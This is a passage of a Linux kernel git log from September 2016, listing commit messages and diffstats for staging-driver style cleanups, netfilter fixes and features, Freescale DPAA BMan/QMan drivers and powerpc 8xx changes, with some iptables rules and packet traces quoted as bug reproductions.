Paracuellos Signed-off-by: Greg Kroah-Hartman drivers/staging/wlan-ng/p80211types.h | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 3fd1e3fcb929e6b51598f76cfc0615259b8cfe54 Author: Sergio Paracuellos Date: Sun Sep 25 15:34:52 2016 +0200 staging: wlan-ng: avoid new typedef: p80211pstrd_t This patch fixes the following checkpatch.pl warning in p80211types.h: WARNING: do not add new typedefs It applies for typedef p80211pstrd_t Signed-off-by: Sergio Paracuellos Signed-off-by: Greg Kroah-Hartman drivers/staging/wlan-ng/p80211req.c | 4 ++-- drivers/staging/wlan-ng/p80211types.h | 4 ++-- drivers/staging/wlan-ng/prism2mgmt.c | 8 ++++---- drivers/staging/wlan-ng/prism2mgmt.h | 10 +++++----- drivers/staging/wlan-ng/prism2mib.c | 12 ++++++------ drivers/staging/wlan-ng/prism2sta.c | 6 +++--- 6 files changed, 22 insertions(+), 22 deletions(-) commit 8c52425a1303f0ad1f385a5e7335d0e75dd014fb Author: Fernando Apesteguia Date: Sun Sep 25 19:20:31 2016 +0200 staging: dgnc: Fix comment alignment As reported by checkpatch. Signed-off-by: Fernando Apesteguia Signed-off-by: Greg Kroah-Hartman drivers/staging/dgnc/dgnc_cls.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 58e207e4983d7acea39b7fbec9343d8a6d218a18 Author: Florian Westphal Date: Thu Sep 22 23:49:17 2016 +0200 netfilter: evict stale entries when user reads /proc/net/nf_conntrack Fabian reports a possible conntrack memory leak (could not reproduce so far), however, one minor issue can be easily resolved: > cat /proc/net/nf_conntrack | wc -l = 5 > 4 minutes required to clean up the table. We should not report those timed-out entries to the user in first place. And instead of just skipping those timed-out entries while iterating over the table we can also zap them (we already do this during ctnetlink walks, but I forgot about the /proc interface). Fixes: f330a7fdbe16 ("netfilter: conntrack: get rid of conntrack timer") Reported-by: Fabian Frederick Signed-off-by: Florian Westphal Signed-off-by: Pablo Neira Ayuso net/netfilter/nf_conntrack_standalone.c | 5 +++++ 1 file changed, 5 insertions(+) commit 11d5f15723c9f39d7c131d0149d024c17dbef676 Author: Vishwanath Pai Date: Thu Sep 22 12:43:44 2016 -0400 netfilter: xt_hashlimit: Create revision 2 to support higher pps rates Create a new revision for the hashlimit iptables extension module. Rev 2 will support higher pps of upto 1 million, Version 1 supports only 10k. To support this we have to increase the size of the variables avg and burst in hashlimit_cfg to 64-bit. Create two new structs hashlimit_cfg2 and xt_hashlimit_mtinfo2 and also create newer versions of all the functions for match, checkentry and destroy. Some of the functions like hashlimit_mt, hashlimit_mt_check etc are very similar in both rev1 and rev2 with only minor changes, so I have split those functions and moved all the common code to a *_common function. Signed-off-by: Vishwanath Pai Signed-off-by: Joshua Hunt Signed-off-by: Pablo Neira Ayuso include/uapi/linux/netfilter/xt_hashlimit.h | 23 ++ net/netfilter/xt_hashlimit.c | 330 ++++++++++++++++++++++------ 2 files changed, 285 insertions(+), 68 deletions(-) commit 0dc60a4546fefc6dc9f54abf60beeeb3501726fa Author: Vishwanath Pai Date: Thu Sep 22 12:42:46 2016 -0400 netfilter: xt_hashlimit: Prepare for revision 2 I am planning to add a revision 2 for the hashlimit xtables module to support higher packets per second rates. This patch renames all the functions and variables related to revision 1 by adding _v1 at the end of the names. Signed-off-by: Vishwanath Pai Signed-off-by: Joshua Hunt Signed-off-by: Pablo Neira Ayuso net/netfilter/xt_hashlimit.c | 61 ++++++++++++++++++++++---------------------- 1 file changed, 31 insertions(+), 30 deletions(-) commit 7bfdde7045ad54d9fdccac70baffd094d9de73f8 Author: Liping Zhang Date: Thu Sep 22 22:28:52 2016 +0800 netfilter: nft_ct: report error if mark and dir specified simultaneously NFT_CT_MARK is unrelated to direction, so if NFTA_CT_DIRECTION attr is specified, report EINVAL to the userspace. This validation check was already done at nft_ct_get_init, but we missed it in nft_ct_set_init. Signed-off-by: Liping Zhang Signed-off-by: Pablo Neira Ayuso net/netfilter/nft_ct.c | 2 ++ 1 file changed, 2 insertions(+) commit d767ff2c84f19be1aa403762f34eebbb403caf6d Author: Liping Zhang Date: Thu Sep 22 22:28:51 2016 +0800 netfilter: nft_ct: unnecessary to require dir when use ct l3proto/protocol Currently, if the user want to match ct l3proto, we must specify the direction, for example: # nft add rule filter input ct original l3proto ipv4 ^^^^^^^^ Otherwise, error message will be reported: # nft add rule filter input ct l3proto ipv4 nft add rule filter input ct l3proto ipv4 :1:1-38: Error: Could not process rule: Invalid argument add rule filter input ct l3proto ipv4 ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Actually, there's no need to require NFTA_CT_DIRECTION attr, because ct l3proto and protocol are unrelated to direction. And for compatibility, even if the user specify the NFTA_CT_DIRECTION attr, do not report error, just skip it. Signed-off-by: Liping Zhang Signed-off-by: Pablo Neira Ayuso net/netfilter/nft_ct.c | 19 +++++++++---------- 1 file changed, 9 insertions(+), 10 deletions(-) commit 8d11350f5f33378efc5f905bee325f3e76d6bcca Author: Gao Feng Date: Thu Sep 22 14:53:53 2016 +0800 netfilter: seqadj: Fix the wrong ack adjust for the RST packet without ack It is valid that the TCP RST packet which does not set ack flag, and bytes of ack number are zero. But current seqadj codes would adjust the "0" ack to invalid ack number. Actually seqadj need to check the ack flag before adjust it for these RST packets. The following is my test case client is 10.26.98.245, and add one iptable rule: iptables -I INPUT -p tcp --sport 12345 -m connbytes --connbytes 2: --connbytes-dir reply --connbytes-mode packets -j REJECT --reject-with tcp-reset This iptables rule could generate on TCP RST without ack flag. server:10.172.135.55 Enable the synproxy with seqadjust by the following iptables rules iptables -t raw -A PREROUTING -i eth0 -p tcp -d 10.172.135.55 --dport 12345 -m tcp --syn -j CT --notrack iptables -A INPUT -i eth0 -p tcp -d 10.172.135.55 --dport 12345 -m conntrack --ctstate INVALID,UNTRACKED -j SYNPROXY --sack-perm --timestamp --wscale 7 --mss 1460 iptables -A OUTPUT -o eth0 -p tcp -s 10.172.135.55 --sport 12345 -m conntrack --ctstate INVALID,UNTRACKED -m tcp --tcp-flags SYN,RST,ACK SYN,ACK -j ACCEPT The following is my test result. 1. packet trace on client root@routers:/tmp# tcpdump -i eth0 tcp port 12345 -n tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytes IP 10.26.98.245.45154 > 10.172.135.55.12345: Flags [S], seq 3695959829, win 29200, options [mss 1460,sackOK,TS val 452367884 ecr 0,nop,wscale 7], length 0 IP 10.172.135.55.12345 > 10.26.98.245.45154: Flags [S.], seq 546723266, ack 3695959830, win 0, options [mss 1460,sackOK,TS val 15643479 ecr 452367884, nop,wscale 7], length 0 IP 10.26.98.245.45154 > 10.172.135.55.12345: Flags [.], ack 1, win 229, options [nop,nop,TS val 452367885 ecr 15643479], length 0 IP 10.172.135.55.12345 > 10.26.98.245.45154: Flags [.], ack 1, win 226, options [nop,nop,TS val 15643479 ecr 452367885], length 0 IP 10.26.98.245.45154 > 10.172.135.55.12345: Flags [R], seq 3695959830, win 0, length 0 2. seqadj log on server [62873.867319] Adjusting sequence number from 602341895->546723267, ack from 3695959830->3695959830 [62873.867644] Adjusting sequence number from 602341895->546723267, ack from 3695959830->3695959830 [62873.869040] Adjusting sequence number from 3695959830->3695959830, ack from 0->55618628 To summarize, it is clear that the seqadj codes adjust the 0 ack when receive one TCP RST packet without ack. Signed-off-by: Gao Feng Signed-off-by: Pablo Neira Ayuso net/netfilter/nf_conntrack_seqadj.c | 20 ++++++++++++-------- 1 file changed, 12 insertions(+), 8 deletions(-) commit e3b37f11e6e4e6b6f02cc762f182ce233d2c1c9d Author: Aaron Conole Date: Wed Sep 21 11:35:07 2016 -0400 netfilter: replace list_head with single linked list The netfilter hook list never uses the prev pointer, and so can be trimmed to be a simple singly-linked list. In addition to having a more light weight structure for hook traversal, struct net becomes 5568 bytes (down from 6400) and struct net_device becomes 2176 bytes (down from 2240). Signed-off-by: Aaron Conole Signed-off-by: Florian Westphal Signed-off-by: Pablo Neira Ayuso include/linux/netdevice.h | 2 +- include/linux/netfilter.h | 63 +++++++++-------- include/linux/netfilter_ingress.h | 17 +++-- include/net/netfilter/nf_queue.h | 3 +- include/net/netns/netfilter.h | 2 +- net/bridge/br_netfilter_hooks.c | 19 ++--- net/netfilter/core.c | 141 +++++++++++++++++++++++++------------- net/netfilter/nf_internals.h | 10 +-- net/netfilter/nf_queue.c | 18 ++--- net/netfilter/nfnetlink_queue.c | 8 ++- 10 files changed, 167 insertions(+), 116 deletions(-) commit c297d30756a427aa82b57f1fc0e6fb4343315ffd Author: Imre Deak Date: Sat Sep 24 04:11:37 2016 +0300 staging: lustre: ldlm: Fix extern variable declaration Move the extern declaration to a header file common to all users of the variable. This fixes the following sparse warning: symbol 'ldlm_cancel_unused_locks_before_replay' was not declared. Should it be static? Signed-off-by: Imre Deak Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/ldlm/ldlm_internal.h | 1 + drivers/staging/lustre/lustre/ldlm/ldlm_lockd.c | 2 -- 2 files changed, 1 insertion(+), 2 deletions(-) commit b941f067ead3099eeeb3562d9de25664af3949f4 Author: Georgiana Rodica Chelu Date: Sat Sep 24 23:35:53 2016 +0300 staging: rtl8188eu: core: rtw_security: Remove return statement from void function Remove the return statement from the end of a void function to clean up the code. Issue found by checkpatch.pl script. Signed-off-by: Georgiana Rodica Chelu Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/core/rtw_security.c | 1 - 1 file changed, 1 deletion(-) commit a27e6e6d6512b96bfc4945a96d1bb730f1c5bea9 Author: Georgiana Rodica Chelu Date: Sat Sep 24 23:35:20 2016 +0300 staging: rtl8188eu: core: rtw_mlme: Remove return statement from void function Remove the return statement from the end of a void function to clean up the code. Issue found by checkpatch.pl script. Signed-off-by: Georgiana Rodica Chelu Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/core/rtw_mlme.c | 2 -- 1 file changed, 2 deletions(-) commit e453eecbe696cfd73d1d6a04f0b4bf830877f5fa Author: Sergio Paracuellos Date: Fri Sep 23 16:12:14 2016 +0200 staging: rts5208: fix style warnings in xd.c This patch fixes the following checkpatch.pl warning in xd.c: WARNING: else is not generally useful after a break or return It also makes code more uniform with the new changes Signed-off-by: Sergio Paracuellos Signed-off-by: Greg Kroah-Hartman drivers/staging/rts5208/xd.c | 38 ++++++++++++++------------------------ 1 file changed, 14 insertions(+), 24 deletions(-) commit e040b62683885caf9a376fd2582551cdbc213a3f Author: Sergio Paracuellos Date: Fri Sep 23 16:12:13 2016 +0200 staging: rts5208: fix style warnings in sd.c This patch fixes the following checkpatch.pl warning in sd.c: WARNING: else is not generally useful after a break or return It also makes code more uniform with the new changes Signed-off-by: Sergio Paracuellos Signed-off-by: Greg Kroah-Hartman drivers/staging/rts5208/sd.c | 173 +++++++++++++++---------------------------- 1 file changed, 61 insertions(+), 112 deletions(-) commit 9afccdfe485a1df5e849dd4add91756f2ae2891d Author: Sergio Paracuellos Date: Fri Sep 23 16:12:12 2016 +0200 staging: rts5208: fix line style warnings in spi.c This patch fixes the following checkpatch.pl warning in spi.c: WARNING: line over 80 characters Signed-off-by: Sergio Paracuellos Signed-off-by: Greg Kroah-Hartman drivers/staging/rts5208/spi.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit aeb92aef03d193b387be8a7b17d2afcadebbc21e Author: Sergio Paracuellos Date: Fri Sep 23 16:12:11 2016 +0200 staging: rts5208: remove not used typedef in rtsx_sys.h This patch fixes the following checkpatch.pl warning in rtsx_sys.h: WARNING: do not add new typedefs Signed-off-by: Sergio Paracuellos Signed-off-by: Greg Kroah-Hartman drivers/staging/rts5208/rtsx_sys.h | 2 -- 1 file changed, 2 deletions(-) commit 55e94ccb43ec8b4c9db2c90303c75b87e23d7eed Author: Sergio Paracuellos Date: Fri Sep 23 16:12:10 2016 +0200 staging: rts5208: fix comment blocks style in rtsx.h This patch fixes the following checkpatch.pl warning in rtsx.h: WARNING: Block comments use a trailing */ on a separate line Signed-off-by: Sergio Paracuellos Signed-off-by: Greg Kroah-Hartman drivers/staging/rts5208/rtsx.h | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) commit e89ac165a5ebd0a95650ed48d40b8b4e3a8991dc Author: Sergio Paracuellos Date: Fri Sep 23 16:12:09 2016 +0200 staging: rts5208: fix comment blocks style in rtsx_chip.h This patch fixes the following checkpatch.pl warning in rtsx_chip.h: WARNING: Block comments use a trailing */ on a separate line Signed-off-by: Sergio Paracuellos Signed-off-by: Greg Kroah-Hartman drivers/staging/rts5208/rtsx_chip.h | 52 +++++++++++++++++++------------------ 1 file changed, 27 insertions(+), 25 deletions(-) commit 20807e6ec4ce163c65acb6643e95842e091359a9 Author: Sergio Paracuellos Date: Fri Sep 23 16:12:08 2016 +0200 staging: rts5208: avoid symbolic permissions in rtsx.c This patch fixes the following checkpatch.pl warning in rtsx.c: WARNING: Symbolic permissions are not preferred. Signed-off-by: Sergio Paracuellos Signed-off-by: Greg Kroah-Hartman drivers/staging/rts5208/rtsx.c | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) commit 8e7e0a96926ddaeb518e57b8a7e1042b7ce5e60a Author: Sergio Paracuellos Date: Fri Sep 23 16:12:07 2016 +0200 staging: rts5208: avoid new typedef in rtsx.h: rtsx_dev_t This patch fixes the following checkpatch.pl warning in rtsx.h: WARNING: do not add new typedefs It also remove DELAY_PARA_T because code is not using it. Signed-off-by: Sergio Paracuellos Signed-off-by: Greg Kroah-Hartman drivers/staging/rts5208/rtsx.h | 4 ---- drivers/staging/rts5208/rtsx_chip.h | 2 +- 2 files changed, 1 insertion(+), 5 deletions(-) commit c529e31ff67f52b86a68e13e5e07252918d14b05 Author: Sergio Paracuellos Date: Fri Sep 23 15:45:20 2016 +0200 staging: wlan-ng: avoid new typedef: p80211pstr_t This patch fixes the following checkpatch.pl warning in p80211types.h: WARNING: do not add new typedefs It applies for typedef p80211pstr_t Signed-off-by: Sergio Paracuellos Signed-off-by: Greg Kroah-Hartman drivers/staging/wlan-ng/p80211types.h | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit aa97dc1a76765ea6434f729f9ca4f47765c0db91 Author: Sergio Paracuellos Date: Fri Sep 23 15:45:19 2016 +0200 staging: wlan-ng: avoid new typedef: p80211enum_t This patch fixes the following checkpatch.pl warning in p80211types.h: WARNING: do not add new typedefs It applies for typedef p80211enum_t. Signed-off-by: Sergio Paracuellos Signed-off-by: Greg Kroah-Hartman drivers/staging/wlan-ng/p80211types.h | 44 +++++++++++++++++------------------ 1 file changed, 22 insertions(+), 22 deletions(-) commit c491786447da1a0f3ee63fdc1d086f9e05df4540 Author: Sergio Paracuellos Date: Fri Sep 23 15:45:17 2016 +0200 staging: wlan-ng: avoid new typedef: p80211enumpair_t This patch fixes the following checkpatch.pl warning in p80211types.h: WARNING: do not add new typedefs It applies for typedef p80211enumpair_t. Signed-off-by: Sergio Paracuellos Signed-off-by: Greg Kroah-Hartman drivers/staging/wlan-ng/p80211types.h | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit ee928cb013f10c89b6779eebb80f514ad89feab2 Author: Christopher Pezley Date: Sat Sep 24 18:51:58 2016 +0200 staging: ion: Align cases with switch The preferred indentation for cases and switches has the cases at the same level as the switch. Signed-off-by: Christopher H. Pezley Acked-by: Laura Abbott Signed-off-by: Greg Kroah-Hartman drivers/staging/android/ion/ion_of.c | 18 +++++++++--------- 1 file changed, 9 insertions(+), 9 deletions(-) commit 23f389384b853323873fde406ebe2ea137b5b30d Author: Antti Keränen Date: Fri Sep 23 21:03:05 2016 +0300 staging: ion: Fix a coding style issue This patch fixes the alignment of an allocation flag block comment and moves the comments before each #define. Signed-off-by: Antti Keränen Acked-by: Laura Abbott Signed-off-by: Greg Kroah-Hartman drivers/staging/android/uapi/ion.h | 24 ++++++++++++------------ 1 file changed, 12 insertions(+), 12 deletions(-) commit 7a4abee97f2a158e73746fd67b2c84454ac2194b Author: Georgiana Rodica Chelu Date: Sat Sep 24 22:49:02 2016 +0300 staging: ks7010: ks_wlan_net: Remove return statement from void function Remove the return statement from the end of a void function to clean up the code. Issue found by checkpatch.pl script. Signed-off-by: Georgiana Rodica Chelu Signed-off-by: Greg Kroah-Hartman drivers/staging/ks7010/ks_wlan_net.c | 4 ---- 1 file changed, 4 deletions(-) commit 55adb7bf5a3e466b471eae8db8334f1196c3a2f8 Author: Georgiana Rodica Chelu Date: Fri Sep 23 22:45:25 2016 +0300 staging: ks7010: ks_wlan_net: Remove unnecessary variable used to store return value Remove unneeded code in order to make clear that the function returns 0(success) in all cases. Done using returnvar.cocci script. Signed-off-by: Georgiana Rodica Chelu Acked-by: Julia Lawall Signed-off-by: Greg Kroah-Hartman drivers/staging/ks7010/ks_wlan_net.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) commit fe0acb5fcb7fe8cb3d68bbdb8459865c972d8f83 Merge: 21445c9 65e87c0 Author: David S. Miller Date: Sun Sep 25 06:01:05 2016 -0400 Merge branch '40GbE' of git://git.kernel.org/pub/scm/linux/kernel/git/jkirsher/next-queue Jeff Kirsher says: ==================== 40GbE Intel Wired LAN Driver Updates 2016-09-24 This series contains updates to i40e and i40evf only. Harshitha removes the ability to set or advertise X722 to 100 Mbps, since it is not supported, so we should not be able to advertise or set the NIC to 100 Mbps. Alan fixes an issue where deleting a MAC filter did not really delete the filter in question. The reason being that the wrong cmd_flag is passed to the firmware. Preethi adds the encapsulation checksum offload negotiation flag, so that we can control it. Jake cleans up the ATR auto_disable_flags use, since some locations disable ATR accidentally using the "full" disable by disabling the flag in the standard flags field. This permanently forces ATR off instead of temporarily disabling it. Then updated checks to include when there are TCP/IP4 sideband rules in effect, where ATR should be disabled. Lastly, adds support to the i40evf driver for setting interrupt moderation values per queue, like in i40e. Henry cleans up unreachable code, since i40e_shutdown_adminq() is always true. Mitch enables support for adaptive interrupt throttling, since all the code for it is already in the interrupt handler. The fixes a rare case where we might get a VSI with no queues and we try to configure RSS, which would result in a divide by zero. Alex fixes an issue where transmit cleanup flow was incorrectly assuming it could check for the flow director bits after it had unmapped the buffer. Then adds a txring_txq() to allow us to convert a i40e_ring/ i40evf_ring to a netdev_tx_queue structure, like ixgbe and fm10k. This avoids having to make a multi-line function call for all the areas that need access to it. Re-factors the Flow Director filter configuration out into a separate function, like we did for the standard xmit path. Cleans up the debugfs hook for Flow Director since it was meant for debug only. ==================== Signed-off-by: David S. Miller commit 21445c91dc8327bcf3cfbd9336bcede7418d16b3 Merge: c2675de 5749434 Author: David S. Miller Date: Sun Sep 25 05:56:05 2016 -0400 Merge tag 'rxrpc-rewrite-20160924' of git://git.kernel.org/pub/scm/linux/kernel/git/dhowells/linux-fs David Howells says: ==================== rxrpc: Implement slow-start and other bits This set of patches implements the RxRPC slow-start feature for AF_RXRPC to improve performance and handling of occasional packet loss. This is more or less the same as TCP slow start [RFC 5681]. Firstly, there are some ACK generation improvements: (1) Send ACKs regularly to apprise the peer of our state so that they can do congestion management of their own. (2) Send an ACK when we fill in a hole in the buffer so that the peer can find out that we did this thus forestalling retransmission. (3) Note the final DATA packet's serial number in the final ACK for correlation purposes. and a couple of bug fixes: (4) Reinitialise the ACK state and clear the ACK and resend timers upon entering the client reply reception phase to kill off any pending probe ACKs. (5) Delay the resend timer to allow for nsec->jiffies conversion errors. and then there's the slow-start pieces: (6) Summarise an ACK. (7) Schedule a PING or IDLE ACK if the reply to a client call is overdue to try and find out what happened to it. (8) Implement the slow start feature. ==================== Signed-off-by: David S. Miller commit e0b80f00bb96b925995d53980e0c764430bedb42 Author: Claudiu Manoil Date: Thu Sep 22 18:04:12 2016 +0300 arch/powerpc: Add CONFIG_FSL_DPAA to corenetXX_smp_defconfig Enable the drivers on the powerpc arch. Signed-off-by: Roy Pledge Signed-off-by: Claudiu Manoil Signed-off-by: Scott Wood arch/powerpc/Makefile | 4 ++-- arch/powerpc/configs/dpaa.config | 1 + drivers/soc/Kconfig | 1 + drivers/soc/fsl/Makefile | 1 + 4 files changed, 5 insertions(+), 2 deletions(-) commit de7756233994b48cfc4d948904380cd0453a0063 Author: Claudiu Manoil Date: Thu Sep 22 18:04:11 2016 +0300 soc/qman: Add self-test for QMan driver Add self tests for the DPAA 1.x Queue Manager driver. The tests ensure that the driver can properly enqueue and dequeue to/from frame queues using the QMan portal infrastructure. Signed-off-by: Roy Pledge Signed-off-by: Claudiu Manoil Signed-off-by: Scott Wood drivers/soc/fsl/qbman/Kconfig | 23 ++ drivers/soc/fsl/qbman/Makefile | 5 + drivers/soc/fsl/qbman/qman_test.c | 62 ++++ drivers/soc/fsl/qbman/qman_test.h | 36 ++ drivers/soc/fsl/qbman/qman_test_api.c | 252 +++++++++++++ drivers/soc/fsl/qbman/qman_test_stash.c | 617 ++++++++++++++++++++++++++++++++ 6 files changed, 995 insertions(+) commit 97e0d385b13998980252ff63123d8ebc4138db0a Author: Claudiu Manoil Date: Thu Sep 22 18:04:10 2016 +0300 soc/bman: Add self-test for BMan driver Add a self test for the DPAA 1.x Buffer Manager driver. This test ensures that the driver can properly acquire and release buffers using the BMan portal infrastructure. Signed-off-by: Roy Pledge Signed-off-by: Claudiu Manoil Signed-off-by: Scott Wood drivers/soc/fsl/qbman/Kconfig | 16 ++++ drivers/soc/fsl/qbman/Makefile | 4 + drivers/soc/fsl/qbman/bman_test.c | 53 ++++++++++++ drivers/soc/fsl/qbman/bman_test.h | 35 ++++++++ drivers/soc/fsl/qbman/bman_test_api.c | 151 ++++++++++++++++++++++++++++++++++ 5 files changed, 259 insertions(+) commit c535e923bb97a4b361e89a6383693482057f8b0c Author: Claudiu Manoil Date: Thu Sep 22 18:04:09 2016 +0300 soc/fsl: Introduce DPAA 1.x QMan device driver This driver enables the Freescale DPAA 1.x Queue Manager block. QMan is a hardware accelerator that manages frame queues. It allows CPUs and other accelerators connected to the SoC datapath to enqueue and dequeue ethernet frames, thus providing the infrastructure for data exchange among CPUs and datapath accelerators. Signed-off-by: Roy Pledge Signed-off-by: Claudiu Manoil Signed-off-by: Scott Wood drivers/soc/fsl/qbman/Makefile | 5 +- drivers/soc/fsl/qbman/qman.c | 2881 +++++++++++++++++++++++++++++++++++ drivers/soc/fsl/qbman/qman_ccsr.c | 808 ++++++++++ drivers/soc/fsl/qbman/qman_portal.c | 355 +++++ drivers/soc/fsl/qbman/qman_priv.h | 371 +++++ include/soc/fsl/qman.h | 1074 +++++++++++++ 6 files changed, 5492 insertions(+), 2 deletions(-) commit 1f9c0a77278bc9ec7df14bbd799fccfabff1010a Author: Claudiu Manoil Date: Thu Sep 22 18:04:08 2016 +0300 soc/fsl: Introduce DPAA 1.x BMan device driver This driver enables the Freescale DPAA 1.x Buffer Manager block. BMan is a hardware accelerator that manages buffer pools. It allows CPUs and other accelerators connected to the SoC datapath to acquire and release buffers during data processing. Signed-off-by: Roy Pledge Signed-off-by: Claudiu Manoil Signed-off-by: Scott Wood drivers/soc/fsl/qbman/Kconfig | 28 ++ drivers/soc/fsl/qbman/Makefile | 2 + drivers/soc/fsl/qbman/bman.c | 797 ++++++++++++++++++++++++++++++++++++ drivers/soc/fsl/qbman/bman_ccsr.c | 263 ++++++++++++ drivers/soc/fsl/qbman/bman_portal.c | 219 ++++++++++ drivers/soc/fsl/qbman/bman_priv.h | 80 ++++ drivers/soc/fsl/qbman/dpaa_sys.h | 103 +++++ include/soc/fsl/bman.h | 129 ++++++ 8 files changed, 1621 insertions(+) commit 36eb1542fc97c3164a08751b97dafdac0f9e1366 Author: Christophe Leroy Date: Fri Sep 16 08:42:08 2016 +0200 powerpc/8xx: make user addr DTLB miss the short path User space DTLB miss represent approximatly 90% of TLB misses so make it the shortest path. Also remove an unneccessary double jump in FixupDAR Before this patch, we spend 3.3 TB ticks in the handler for each user address miss and 3.4 TB ticks for each kernel address miss After this patch, we send 3.0 TB ticks in the handler for each user address miss and 3.9 TB ticks for each kernel address miss Taking into account that user misses represent 90% of the total, this patch provides an improvement of approx. 9% Signed-off-by: Christophe Leroy Signed-off-by: Scott Wood arch/powerpc/kernel/head_8xx.S | 53 ++++++++++++++++++------------------------ 1 file changed, 23 insertions(+), 30 deletions(-) commit 73a532061c65f4e15a3aa7d75fde81203749562b Author: Christophe Leroy Date: Fri Sep 16 08:42:06 2016 +0200 powerpc/8xx: Move additional DTLBMiss handlers out of exception area When all options are activated, there is not enough space for the DTLBMiss handlers that handles IMMR area and linear RAM pages in the exception area once we have added hugepage handling. So lets move them after .0x2000 Signed-off-by: Christophe Leroy Signed-off-by: Scott Wood arch/powerpc/kernel/head_8xx.S | 84 +++++++++++++++++++++--------------------- 1 file changed, 42 insertions(+), 42 deletions(-) commit d1b9f81456d27dd44c0e7193a8a24ec0bfeda98b Author: Christophe Leroy Date: Fri Sep 16 08:42:04 2016 +0200 powerpc/8xx: use r3 to scratch CR in ITLBmiss Signed-off-by: Christophe Leroy Signed-off-by: Scott Wood arch/powerpc/kernel/head_8xx.S | 21 +++++++++------------ 1 file changed, 9 insertions(+), 12 deletions(-) commit 5dc6f3fedee58efa343e822558fc3e2f0eb2ad1f Author: Christophe Leroy Date: Tue Sep 6 00:52:16 2016 +0200 soc/fsl/qe: fix gpio save_regs functions of_mm_gpiochip_add_data() calls mm_gc->save_regs() before setting the data. Therefore ->save_regs() cannot use gpiochip_get_data() An Oops is encountered without this fix. fixes: 1e714e54b5ca5 ("powerpc: qe_lib-gpio: use gpiochip data pointer") Signed-off-by: Christophe Leroy Cc: Reviewed-by: Linus Walleij Signed-off-by: Scott Wood drivers/soc/fsl/qe/gpio.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit e627f8dc9a6fb8c9fff371ab99cc36b4f4116433 Author: Christophe Leroy Date: Fri Sep 16 10:23:11 2016 +0200 powerpc/8xx: add dedicated machine check handler During a machine check, the 8xx provides indication of whether the check is due to data or instruction access, so let's display it. Lets also move 8xx specific handling into the new handler. Signed-off-by: Christophe Leroy Signed-off-by: Scott Wood arch/powerpc/include/asm/cputable.h | 1 + arch/powerpc/kernel/cputable.c | 1 + arch/powerpc/kernel/traps.c | 36 +++++++++++++++++++++++++----------- 3 files changed, 27 insertions(+), 11 deletions(-) commit f307939fb260c83e6875476695ac58a669348b8f Author: Christophe Leroy Date: Mon Sep 5 08:42:31 2016 +0200 powerpc/8xx: add system_reset_exception When the watchdog is in NMI mode, the system reset interrupt is generated when the watchdog counter expires. Signed-off-by: Christophe Leroy Signed-off-by: Scott Wood arch/powerpc/kernel/head_8xx.S | 2 +- arch/powerpc/kernel/traps.c | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) commit 63f1de882081919f2b548d04b6cf617398b8da12 Author: Scott Wood Date: Fri Aug 26 01:38:25 2016 -0500 powerpc/fsl_pci: Size upper inbound window based on RAM size This allows PCI devices that can only address (e.g.) 36 or 40 bit DMA to use direct DMA, at the cost of not being able to DMA to non-RAM addresses (this doesn't affect MSIs as there is a separate dedicated window for that) which we wouldn't have been able to do anyway if the RAM size didn't trigger the creation of the second inbound window. It also fixes an off-by-one error that set dma_direct_ops on PCI devices whose dma mask could address all the space below the DMA offset (previously 40 bits), but not the window that starts at the DMA offset. Signed-off-by: Scott Wood Cc: Tillmann Heidsieck Tested-by: Tillmann Heidsieck arch/powerpc/sysdev/fsl_pci.c | 12 +++++------- 1 file changed, 5 insertions(+), 7 deletions(-) commit 834e5a692120cc25c3935e8652a1989c2bc1c9e9 Author: Christophe Leroy Date: Tue Aug 23 15:58:56 2016 +0200 powerpc/8xx: use SPRN_EIE and SPRN_EID to enable/disable interrupts The 8xx has two special registers called EID (External Interrupt Disable) and EIE (External Interrupt Enable) for clearing/setting EE in MSR. It avoids the three instructions set mfmsr/ori/mtmsr or mfmsr/rlwinm/mtmsr and it avoids using a general register. We just have to write something in the special register to change MSR EE bit. So we write r0 into the register, regardless of r0 value. Writing to one of those two special registers also set the MSR RI bit, but this bit is only unset during beginning of exception prolog and end of exception epilog. When executing C-functions MSR RI is always set. Signed-off-by: Christophe Leroy Signed-off-by: Scott Wood arch/powerpc/include/asm/hw_irq.h | 6 ++++++ arch/powerpc/include/asm/reg.h | 2 ++ arch/powerpc/include/asm/reg_8xx.h | 4 ++++ 3 files changed, 12 insertions(+) commit fff69fd03d1290297fcd039b07819fafa69ffc0a Author: Kevin Hao Date: Tue Aug 23 10:06:58 2016 +0800 powerpc/83xx: factor out the common codes of setup arch functions Factor out the common codes of setup arch functions to a separate function. It does make no sense to print a board specific info in setup arch functions, so use a more general one. For ASP8347E board, there is no pci device node. So it is safe to invoke mpc83xx_setup_pci() in its setup arch function even there is no such invocation in its original setup arch function. Signed-off-by: Kevin Hao Signed-off-by: Scott Wood arch/powerpc/platforms/83xx/asp834x.c | 4 +--- arch/powerpc/platforms/83xx/km83xx.c | 5 +---- arch/powerpc/platforms/83xx/misc.c | 8 ++++++++ arch/powerpc/platforms/83xx/mpc830x_rdb.c | 5 +---- arch/powerpc/platforms/83xx/mpc831x_rdb.c | 5 +---- arch/powerpc/platforms/83xx/mpc832x_mds.c | 5 +---- arch/powerpc/platforms/83xx/mpc832x_rdb.c | 5 +---- arch/powerpc/platforms/83xx/mpc834x_itx.c | 5 +---- arch/powerpc/platforms/83xx/mpc834x_mds.c | 5 +---- arch/powerpc/platforms/83xx/mpc836x_mds.c | 5 +---- arch/powerpc/platforms/83xx/mpc836x_rdk.c | 5 +---- arch/powerpc/platforms/83xx/mpc837x_mds.c | 5 +---- arch/powerpc/platforms/83xx/mpc837x_rdb.c | 5 +---- arch/powerpc/platforms/83xx/mpc83xx.h | 1 + arch/powerpc/platforms/83xx/sbc834x.c | 5 +---- 15 files changed, 22 